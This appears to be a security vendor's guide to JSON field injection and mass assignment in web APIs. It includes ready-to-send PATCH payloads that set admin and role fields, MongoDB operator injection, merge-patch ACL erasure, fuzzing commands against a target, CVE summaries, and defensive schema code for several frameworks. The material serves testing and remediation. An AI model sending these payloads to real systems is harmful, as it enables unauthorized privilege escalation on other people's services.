Injecting undocumented JSON properties in API request bodies that bypass field whitelisting when the server deserializes the full payload.
TL;DR
readOnly in OpenAPI are still writable unless code enforces itis_admin, isAdmin, IsAdmin, ROLE reach the same model propertyreadOnly: true fields for write accessfirst_name: CANARY alongside role: admin — only role-level persistence confirms the bugJSON field injection exploits the mapping between HTTP request body properties and server-side model attributes. When a server deserializes a JSON body and maps each key to a model field, an attacker injects keys that correspond to privileged attributes: is_admin, role, subscription_tier. The vulnerability focuses on the JSON layer — how field names are discovered, how naming conventions affect binding, and how OpenAPI documentation fields (marked readOnly) are not automatically enforced.
The attack surface is wider than visible. A GET response showing "role": "user" tells the attacker that a role field exists on the model. An OpenAPI schema showing "readOnly": true on id documents that the server computed it — but does not prevent writing it. Error messages like "unknown field: subscription_tier" confirm the field name is recognized even if the current filter rejected the attempt.
The attack path:
/swagger.json or /openapi.json, observe error messages.readOnly: true.role, Role, ROLE, is_admin, isAdmin, IsAdmin, is-admin.# Extract all readOnly fields from the OpenAPI spec
curl https://target.com/openapi.json | jq '.components.schemas.User.properties |
to_entries[] | select(.value.readOnly == true) | .key'
# Output: "id", "role", "created_at", "is_admin", "subscription_tier"
# Test each of these fields for write accessarjun -u "https://target.com/api/v1/users/me" \
-m PATCH \
--data '{"email": "test@example.com"}' \
--headers "Authorization: Bearer <token>" \
-w /usr/share/wordlists/arjun/large.txtx8 -u "https://target.com/api/v1/users/me" \
-X PATCH \
-b '{"email": "test@example.com", "W": "FUZZ"}' \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--wordlist /usr/share/wordlists/mass-assignment.txtPATCH /api/v1/users/me HTTP/1.1
Content-Type: application/json
{
"role": "admin",
"Role": "admin",
"ROLE": "admin",
"is_admin": true,
"isAdmin": true,
"is-admin": true,
"IsAdmin": true,
"admin": true
}PATCH /api/v1/users/me HTTP/1.1
Content-Type: application/json
{
"role": {"$ne": "user"},
"$set": {"role": "admin"},
"$unset": {"mfa_required": ""}
}If the backend uses User.findByIdAndUpdate(id, req.body) with Mongoose, the MongoDB $set operator executes directly — this is both mass assignment and NoSQL operator injection.
PATCH /api/v1/teams/123 HTTP/1.1
Content-Type: application/merge-patch+json
Authorization: Bearer <user_token>
{
"name": "My Team",
"member_acl": null,
"private": false,
"owner_id": null
}Per RFC 7396, null values delete the key. member_acl: null erases the team ACL entirely.
GET /api/users?role__isnull=false&is_superuser=true HTTP/1.1
Authorization: Bearer <user_token>When a Django view passes request.GET.dict() to queryset.filter(**kwargs), ORM field lookups become injectable parameters. CVSS 9.1.
CVE-2025-64459 — Django ORM kwargs injection (CVSS 9.1, 2025)
Django views using Model.objects.filter(**request.GET.dict()) passed user-controlled GET parameters as ORM keyword arguments. An attacker specifying is_superuser=True as a URL parameter filtered for (and in combined create/update flows, injected) superuser-level field access. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
CVE-2024-39689 — Mongoose populate path traversal (CVSS 7.5, 2024)
Mongoose findByIdAndUpdate with user-controlled field paths allowed injecting Mongoose populate directives as JSON keys, traversing to fields on related models outside the intended update scope.
CVE-2024-32887 — NocoDB (CVSS 8.8, 2024)
NocoDB table view update accepted role and visibility JSON fields without a DTO layer. Any authenticated user modified table-level permissions by injecting these fields. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
HackerOne #1069904 — GitLab ($6,337)
GitLab API PATCH /api/v4/users/:id accepted admin: true JSON field from non-admin tokens — a regular user escalated to instance administrator via a single injected JSON property.
PATCH /api/v1/users/me HTTP/1.1
Content-Type: application/json
{
"first_name": "CANARY-48291",
"role": "admin",
"is_admin": true
}GET the resource after:
first_name = "CANARY-48291" AND role = "admin": true positivefirst_name = "CANARY-48291" AND role = "user" (unchanged): field filtering active — false positivePATCH /api/v1/users/me HTTP/1.1
Content-Type: application/json
{"role": "this-role-does-not-exist-xyz-42"}openapi-fuzzer -s https://target.com/openapi.json \
--bearer-token <token> \
--ignore-status-code 401 \
--output findings.jsonBreachVex detects JSON field injection by combining Arjun parameter discovery with OpenAPI readOnly field extraction, sending probes with all naming conventions, and cross-session confirming any field persistence.
# VULNERABLE — extra fields silently accepted and bound
class UserUpdate(BaseModel):
model_config = ConfigDict(extra="allow")
# SAFE — unknown fields return 422
class UserUpdate(BaseModel):
model_config = ConfigDict(extra="forbid")
email: EmailStr | None = None
first_name: str | None = None
last_name: str | None = None
# role, is_superuser — not defined, rejected automaticallyimport { z } from 'zod';
// .strict() causes any extra key to trigger a ZodError
const UserUpdateSchema = z.object({
email: z.string().email().optional(),
firstName: z.string().max(50).optional(),
lastName: z.string().max(50).optional(),
}).strict();
app.patch('/api/users/me', async (req, res) => {
const result = UserUpdateSchema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({ errors: result.error.issues });
}
await User.findByIdAndUpdate(req.user.id, result.data, { new: true });
});// UserUpdateDto.java — unknown JSON keys cause deserialization failure
@JsonIgnoreProperties(ignoreUnknown = false)
public class UserUpdateDto {
@NotBlank @Email
private String email;
@Size(max = 50)
private String firstName;
// role, authorities — not present; unknown keys throw HttpMessageNotReadableException
}
// application.properties
// spring.jackson.deserialization.fail-on-unknown-properties=truedef user_params
params.require(:user).permit(:email, :first_name, :last_name, :bio)
end
# config/application.rb — raise on injection attempts instead of silent ignore
config.action_controller.action_on_unpermitted_parameters = :raise// Only fields declared in the struct are decoded — all others discarded
type UserUpdateInput struct {
Email *string `json:"email,omitempty"`
FirstName *string `json:"first_name,omitempty"`
LastName *string `json:"last_name,omitempty"`
// role, IsAdmin simply do not exist in this type
}JSON field injection exploits the deserialization layer: when the server receives a JSON body and maps each property to a model field, an attacker injects property names that correspond to privileged model attributes. Unlike simple HTTP body injection, this variant exploits deep nesting, naming convention variations (camelCase vs snake_case), or OpenAPI readOnly field bypass.
Four discovery methods: (1) GET the resource and examine every response field including privileged-looking ones. (2) Check the OpenAPI/Swagger spec for fields marked readOnly: true — these are the target. (3) Check error messages that name unrecognized fields. (4) Use Arjun or x8 with a wordlist of common privileged field names to discover hidden parameters via response differential.
OpenAPI specs mark server-side fields like id, role, created_at as readOnly: true. This is documentation — it does not enforce behavior. If the server code does not also enforce an allowlist, those readOnly fields are still writable. Tools like OpenAPI-fuzzer and APIKit (Burp) automatically extract readOnly fields and attempt to write them.
Some WAFs filter on exact field names. Sending role is blocked. But isAdmin, is_admin, is-admin, IsAdmin, ROLE, RoLe may each bypass the filter if the WAF uses exact string matching while the backend ORM normalizes key names before binding. Spring DataBinder accepts both camelCase and snake_case for the same Java bean property.
JSON field injection targets legitimate model fields that should not be user-writable. Prototype pollution targets JavaScript's __proto__ or constructor.prototype — meta-properties that modify the behavior of all objects in the process. JSON field injection has bounded impact (the affected record); prototype pollution has application-wide impact via Object.prototype contamination.
CVE-2025-64459 (Django, CVSS 9.1) — kwargs injection through JSON fields passed to ORM filter(). CVE-2024-32887 (NocoDB, CVSS 8.8) — JSON fields role and visibility accepted in table view update body. CVE-2024-39689 (Mongoose, CVSS 7.5) — populate path traversal via field name injection reaching non-permitted model paths.
Send a payload with both a legitimate field (first_name: 'CANARY-12345') and a privileged field (role: 'admin') in the same request. GET afterward. If first_name was written but role was not, the server has field filtering — the 200 OK is a false positive for mass assignment. If both were written, it is a true positive.
Send the privileged field with a value that cannot exist in the application domain: role: 'this-role-xyz-does-not-exist-42'. If GET shows this exact nonsense value persisted, the server stores arbitrary field values — mass assignment confirmed. If you receive a 422 validation error, the server validates the value but may still bind the field.
RFC 7396 JSON Merge Patch uses Content-Type: application/merge-patch+json. The merge semantics specify that null values delete the key from the target object. Sending {member_acl: null, private: false} to a team endpoint erases the ACL per spec. This weaponizes correct RFC behavior as a mass assignment attack.
x8 is a Rust-based parameter discovery tool that supports JSON body, nested JSON, and GraphQL. It sends requests with candidate field names and detects response differences. Unlike Arjun, x8 handles deeply nested JSON paths — critical for finding privileged fields buried inside objects like user.account.role or metadata.permissions[0].